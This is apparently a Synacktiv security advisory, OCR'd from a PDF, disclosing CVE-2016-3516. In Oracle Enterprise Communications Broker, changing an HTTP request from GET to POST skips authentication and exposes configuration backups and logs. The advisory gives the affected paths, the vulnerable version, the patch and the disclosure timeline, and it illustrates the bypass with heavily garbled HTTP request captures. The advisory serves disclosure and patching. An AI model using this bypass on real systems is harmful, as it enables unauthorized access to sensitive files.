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Vulnerability description

The Oracle Enterprise Communications Broker

The Oracle Enterprise Communication Broker is a core communications controller used to route SIP sessions across
disparate access and application layer network elements, and simplify complex multivendor VolP networks.

The issue

Synacktiv has identified a vulnerability in the Oracle Enterprise Communication Broker that allows an attacker to retrieve
sensitive files without being authenticated.

The issue is present in the authentication check made only for the verb GET and unsupported for POST. Tempering this verb
during a request, or crafting a HTTP request, an attacker is able to retrieve all files present in /download/ and /view/
directories.

Affected versions

The following versions are affected:

«  PCZ2.0.0 MR-2 Patch 1 (Build 209)

Mitigation

Install Oracle Critical Patch Update July 2016.

Timeline
Date Action
01/02/2016 Advisory sent to Oracle Security.
19/07/2016 Vulnerability fixed in Oracle Critical Patch Update July 2016 / CVE-2016-3516 / S0687773

SYNACKTIV 2/4

]
]
I MDIGITAL SECURITY



Technical description and Proof-of-Concept

Vulnerability discovery

The management HTTP interface normally allows authenticated users to download a backup of the configuration file as
follows:

ORACLE

Home Configuration Widgets m_
Flle management Flle Management

Support Informaton Flle type: Backup configuration

Refresh | Uploa | Download | goelete

Mame

PROD-ECE-MAR-30102015.92

lllustration 1: Page that allows users to download the configuration file

When used through the user interface, the HTTP request uses the verb GET and includes a session identified in the
requested URL:

1G/PROD-ECE-MAR- 30'.0:0'.5.u;uu:sesc'.vn'.u-x::'.53(‘45{{'."(3335(133 TP 1.1 i

: Limue xBE_£4: ev:IB.0) Gecko/ID0DIOL Firefox/3E.0 Iceweasel/38.4.0
cat ion/ khtml+xml, applicat ion/ xmliqe0.9, */ *;q"0. 0
US,porgq=0.5
p. deflace
P 15,297/

kecepe: cext/he
|Aecept-Language:
Aecepr-Encoding:
Refecer: hEEp:/
Connection: kesp-alive

Content-Length:
Content-Type: application/x-gzip

Content-Dispesition: attachment;iilensme="PROD-ECE-HAR-J0L0C0LE 92"
N-Appweb-Seqr 1043
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lllustration 2: HTTP request sent when the user download the configuration file
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The application correctly checks the validity of the session identifier. Therefore, the access is denied if no session is

provided:

Request

iRaw Headers I Hex

Response

|E:r {download/BACKUP_CONF IG/ PROD-ECE-MAR-30102015.gz HTTE/L.1

Hose: 175.224.15.247

User-Agent: Mozillaf5.0 (X1l; Linux »86_g4; rw:38.0) Gecke/20100101 Firefox/38.0 Iceveasel/38.4.0
Accepr: text/html,application/xhtml+xml, applicacion/ ml;g=0.5,*/*;q=0.8

Accept-Language: en-US,en;qg=0.5

Accepr-Encoding: gzip, deflace

Refersar: heep://Ll75.224.15.247/

Connectcion: kesp-alive

lllustration 3: Access denied since the request does not include a session identifier

Tﬂnnder ]
HTTP/ 1.1 404 Hot Found l

15:25 GHNT

Server: Embedthis-Appweb/3.4.2
Cache-Control: no-cache

ETag: "17e83-57eh00000000-5£33542800000000"
Contenc- th: 186

Contenc- : application/x-gzip
Connection: keep-alive

Keep-Alive: timeout=i0, max=5S95
H-Appweb-Seg: 1045

<!DOCT

<heml>

1

o

sDociment Expor: Wot Found</tirvles</heads
>

<p>¥ou must login to access the file.</p>
e

</html>

However, by changing the HTTP verb from GET to POST, the access control is not performed.

Request

Headers | Hex
oL/ BACKUF_CONFIG/PROD=-ECE-MAR=-30102015.gz HTTF/L. 1
.15.247

11la/5.0 (X1l: Linux x86_€4; rv:38.0) Gecko/I0100101 Firefox/38.0 Iceveasel/38.4.0
hecept: text/html, application/xhtmltxml, application/xml; q=0. 8, "/ ":q=0.8

hecept-Language: en-15,en;q=0.5

hecepr-Encoding detlave

Retferer: http://175.224.L%.247%/

Connection: kesp-alive

lllustration 4: Unauthenticated access to the configuration file

The following entry points are also concerned:

»  /download/BACKUP_CONFIG/*
»  /download/LOGS/*.log

Niew/LOGS/*.log

An attacker who is able to reach the Enterprise Communications Broker Web
configuration and log files without being authenticated.

Response

2015 13:15:56 GMT
Exbedchis-Appweb/3.4.2

ETag: "L7¢83-57¢k00000000-5633842 800000000
Content-Length: 318891

Content-Type: applicacion/x-gzip
Connection: keep-alive

Feep-Alive: timeout=£0, max=9%5
Lasc-Hodified: Fri, 30 Oct IOLS LE:03:5C GHT
¥-Appweb-Seq: 1048

Sepver:

00000000000 1 w0 HD {000 W000 w2 00000 » 0000000000 ¥ HDOODD00D0000 AD000000000
0000_0400-00/ 10cFO20000200 10 ThdEg 000 . r :00T00c (0-00<0400 1000 [+ 3
L) 000 700000, DO00NO 300000 A0 M= R 1000000 @0U00:000C* L#0-+0$0<3 00004

administration console can download sensitive
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